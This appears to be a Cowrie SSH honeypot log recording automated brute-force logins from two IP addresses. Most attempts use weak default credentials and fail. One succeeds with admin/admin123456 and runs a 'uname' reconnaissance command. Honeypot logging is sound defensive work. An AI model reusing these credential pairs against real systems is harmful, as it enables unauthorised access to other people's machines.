{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:50.602555Z","src_ip":"176.65.139.95","session":"b6dd14cace1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:51.777359Z","src_ip":"176.65.139.95","session":"b6dd14cace1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45682,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e3dd872a050","protocol":"ssh","message":"New connection: 176.65.139.95:45682 (159.203.135.109:22) [session: 7e3dd872a050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:56.151687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:56.160506Z","src_ip":"176.65.139.95","session":"7e3dd872a050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:56.255979Z","src_ip":"176.65.139.95","session":"7e3dd872a050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:56.537017Z","src_ip":"176.65.139.95","session":"7e3dd872a050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:57.622771Z","src_ip":"176.65.139.95","session":"7e3dd872a050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33636,"dst_ip":"159.203.135.109","dst_port":22,"session":"44d3d2cc08b6","protocol":"ssh","message":"New connection: 176.65.139.95:33636 (159.203.135.109:22) [session: 44d3d2cc08b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:02.059842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:02.065442Z","src_ip":"176.65.139.95","session":"44d3d2cc08b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:02.159730Z","src_ip":"176.65.139.95","session":"44d3d2cc08b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:02.424888Z","src_ip":"176.65.139.95","session":"44d3d2cc08b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:03.510157Z","src_ip":"176.65.139.95","session":"44d3d2cc08b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33644,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a00b8c20bd4","protocol":"ssh","message":"New connection: 176.65.139.95:33644 (159.203.135.109:22) [session: 7a00b8c20bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:07.933250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:07.941954Z","src_ip":"176.65.139.95","session":"7a00b8c20bd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:08.018993Z","src_ip":"176.65.139.95","session":"7a00b8c20bd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:08.377349Z","src_ip":"176.65.139.95","session":"7a00b8c20bd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:09.463128Z","src_ip":"176.65.139.95","session":"7a00b8c20bd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33648,"dst_ip":"159.203.135.109","dst_port":22,"session":"33a160a3a50d","protocol":"ssh","message":"New connection: 176.65.139.95:33648 (159.203.135.109:22) [session: 33a160a3a50d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:13.777009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:13.814298Z","src_ip":"176.65.139.95","session":"33a160a3a50d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:14.125847Z","src_ip":"176.65.139.95","session":"33a160a3a50d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:14.566561Z","src_ip":"176.65.139.95","session":"33a160a3a50d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:15.657499Z","src_ip":"176.65.139.95","session":"33a160a3a50d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49868,"dst_ip":"159.203.135.109","dst_port":22,"session":"feafd998f55e","protocol":"ssh","message":"New connection: 159.203.92.129:49868 (159.203.135.109:22) [session: feafd998f55e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:18.418703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:18.424628Z","src_ip":"159.203.92.129","session":"feafd998f55e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:18.429739Z","src_ip":"159.203.92.129","session":"feafd998f55e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Kepler","password":"123456","message":"login attempt [Kepler/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:18.441546Z","src_ip":"159.203.92.129","session":"feafd998f55e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:19.455024Z","src_ip":"159.203.92.129","session":"feafd998f55e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42060,"dst_ip":"159.203.135.109","dst_port":22,"session":"328b0fb56aba","protocol":"ssh","message":"New connection: 176.65.139.95:42060 (159.203.135.109:22) [session: 328b0fb56aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:19.995812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:20.001806Z","src_ip":"176.65.139.95","session":"328b0fb56aba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:20.108563Z","src_ip":"176.65.139.95","session":"328b0fb56aba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:20.371417Z","src_ip":"176.65.139.95","session":"328b0fb56aba","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:20.628498Z","src_ip":"176.65.139.95","session":"328b0fb56aba","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:20.631714Z","src_ip":"176.65.139.95","session":"328b0fb56aba","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:20.716794Z","src_ip":"176.65.139.95","session":"328b0fb56aba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:20.721829Z","src_ip":"176.65.139.95","session":"328b0fb56aba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42076,"dst_ip":"159.203.135.109","dst_port":22,"session":"abe2d193787f","protocol":"ssh","message":"New connection: 176.65.139.95:42076 (159.203.135.109:22) [session: abe2d193787f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:25.969779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:25.984480Z","src_ip":"176.65.139.95","session":"abe2d193787f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:26.054177Z","src_ip":"176.65.139.95","session":"abe2d193787f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:26.388782Z","src_ip":"176.65.139.95","session":"abe2d193787f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:27.475579Z","src_ip":"176.65.139.95","session":"abe2d193787f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34648,"dst_ip":"159.203.135.109","dst_port":22,"session":"27ec45e840ba","protocol":"ssh","message":"New connection: 176.65.139.95:34648 (159.203.135.109:22) [session: 27ec45e840ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:31.774318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:31.788540Z","src_ip":"176.65.139.95","session":"27ec45e840ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:31.866279Z","src_ip":"176.65.139.95","session":"27ec45e840ba","protocol":"ssh"}
